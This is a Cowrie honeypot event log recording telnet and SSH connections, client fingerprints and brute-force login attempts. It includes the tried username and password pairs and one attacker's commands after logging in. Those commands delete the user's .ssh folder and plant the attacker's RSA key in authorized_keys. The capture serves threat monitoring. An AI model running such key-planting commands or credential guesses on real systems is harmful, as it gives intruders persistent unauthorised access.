{"eventid":"cowrie.session.closed","duration":35.348050594329834,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:37.391429Z","src_ip":"45.58.127.90","session":"af8f344125b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53294,"dst_ip":"10.17.0.5","dst_port":23,"session":"894b684cb019","protocol":"telnet","message":"New connection: 45.58.127.90:53294 (10.17.0.5:23) [session: 894b684cb019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:40.313583Z"}
{"eventid":"cowrie.session.closed","duration":38.56444072723389,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:42.164858Z","src_ip":"45.58.127.90","session":"1124e5563cd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33252,"dst_ip":"159.203.135.109","dst_port":23,"session":"782397586dc8","protocol":"telnet","message":"New connection: 147.182.143.59:33252 (159.203.135.109:23) [session: 782397586dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:42.757255Z"}
{"eventid":"cowrie.session.closed","duration":41.110015630722046,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:43.380052Z","src_ip":"45.58.127.90","session":"13cea9e46cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.527725458145142,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:44.255630Z","src_ip":"147.182.143.59","session":"c2adaced5cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":56362,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b5c802baada","protocol":"ssh","message":"New connection: 187.230.120.231:56362 (10.17.0.5:22) [session: 2b5c802baada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:46.899781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:46.904595Z","src_ip":"187.230.120.231","session":"2b5c802baada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:47.008397Z","src_ip":"187.230.120.231","session":"2b5c802baada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssword","message":"login attempt [user/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:47.418269Z","src_ip":"187.230.120.231","session":"2b5c802baada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:48.522009Z","src_ip":"187.230.120.231","session":"2b5c802baada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.79919934272766,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:53.634996Z","src_ip":"45.58.127.90","session":"b33f5f1dcaf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.908407211303711,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:42:55.665553Z","src_ip":"147.182.143.59","session":"782397586dc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37710,"dst_ip":"10.17.0.5","dst_port":23,"session":"c064e912158e","protocol":"telnet","message":"New connection: 45.58.127.90:37710 (10.17.0.5:23) [session: c064e912158e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:02.688864Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37714,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccecbc05f6a0","protocol":"telnet","message":"New connection: 45.58.127.90:37714 (10.17.0.5:23) [session: ccecbc05f6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:05.885433Z"}
{"eventid":"cowrie.session.closed","duration":38.726998805999756,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:12.847345Z","src_ip":"45.58.127.90","session":"044e74308516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34548,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dff331508ba","protocol":"telnet","message":"New connection: 147.182.143.59:34548 (159.203.135.109:23) [session: 8dff331508ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:13.293761Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43984,"dst_ip":"10.17.0.5","dst_port":23,"session":"a66f25cd4f67","protocol":"telnet","message":"New connection: 45.58.127.90:43984 (10.17.0.5:23) [session: a66f25cd4f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:14.022593Z"}
{"eventid":"cowrie.session.closed","duration":33.991976499557495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:14.305410Z","src_ip":"45.58.127.90","session":"894b684cb019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43988,"dst_ip":"10.17.0.5","dst_port":23,"session":"137b12fe5c6d","protocol":"telnet","message":"New connection: 45.58.127.90:43988 (10.17.0.5:23) [session: 137b12fe5c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:17.206215Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55984,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a8eaf9d482","protocol":"telnet","message":"New connection: 147.182.143.59:55984 (159.203.135.109:23) [session: 58a8eaf9d482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:18.258242Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":33670,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc97395387dc","protocol":"ssh","message":"New connection: 193.46.255.86:33670 (10.17.0.5:22) [session: fc97395387dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:24.725818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:24.734609Z","src_ip":"193.46.255.86","session":"fc97395387dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:24.867839Z","src_ip":"193.46.255.86","session":"fc97395387dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huigu309","message":"login attempt [root/huigu309] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:25.472892Z","src_ip":"193.46.255.86","session":"fc97395387dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55998,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ee2bca3776e","protocol":"telnet","message":"New connection: 147.182.143.59:55998 (159.203.135.109:23) [session: 3ee2bca3776e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:26.383805Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"5nWt3P-fF4WosQm5O","message":"login attempt [root/5nWt3P-fF4WosQm5O] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:26.608268Z","src_ip":"193.46.255.86","session":"fc97395387dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.208490371704102,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:27.502158Z","src_ip":"147.182.143.59","session":"8dff331508ba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:27.744095Z","src_ip":"193.46.255.86","session":"fc97395387dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36188,"dst_ip":"159.203.135.109","dst_port":23,"session":"31c69de631f8","protocol":"telnet","message":"New connection: 147.182.143.59:36188 (159.203.135.109:23) [session: 31c69de631f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:28.083997Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aDm8H%MdA","message":"login attempt [root/aDm8H%MdA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:28.880848Z","src_ip":"193.46.255.86","session":"fc97395387dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:30.018294Z","src_ip":"193.46.255.86","session":"fc97395387dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.037473201751709,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:30.295591Z","src_ip":"147.182.143.59","session":"58a8eaf9d482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:31.153586Z","src_ip":"193.46.255.86","session":"fc97395387dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57046,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a28e1677e7","protocol":"telnet","message":"New connection: 45.58.127.90:57046 (10.17.0.5:23) [session: d6a28e1677e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:31.860878Z"}
{"eventid":"cowrie.session.closed","duration":0.734591007232666,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:32.595364Z","src_ip":"45.58.127.90","session":"d6a28e1677e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.99597430229187,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:35.379668Z","src_ip":"147.182.143.59","session":"3ee2bca3776e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.72251296043396,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:37.806377Z","src_ip":"147.182.143.59","session":"31c69de631f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":35770,"dst_ip":"10.17.0.5","dst_port":22,"session":"667f3d40f626","protocol":"ssh","message":"New connection: 187.230.120.231:35770 (10.17.0.5:22) [session: 667f3d40f626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:45.478899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:45.483895Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.66822266578674,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:45.553563Z","src_ip":"45.58.127.90","session":"ccecbc05f6a0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:45.593578Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.35868859291077,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.047421Z","src_ip":"45.58.127.90","session":"c064e912158e","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"test","message":"login attempt [steam/test] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.057187Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.308587Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.312006Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.316832Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.427690Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.680768Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.684674Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.798531Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.802012Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":35778,"dst_ip":"10.17.0.5","dst_port":22,"session":"92afb68d2def","protocol":"ssh","message":"New connection: 187.230.120.231:35778 (10.17.0.5:22) [session: 92afb68d2def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.908095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:46.912866Z","src_ip":"187.230.120.231","session":"92afb68d2def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:47.026420Z","src_ip":"187.230.120.231","session":"92afb68d2def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:47.496475Z","src_ip":"187.230.120.231","session":"92afb68d2def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:48.608783Z","src_ip":"187.230.120.231","session":"92afb68d2def","protocol":"ssh"}
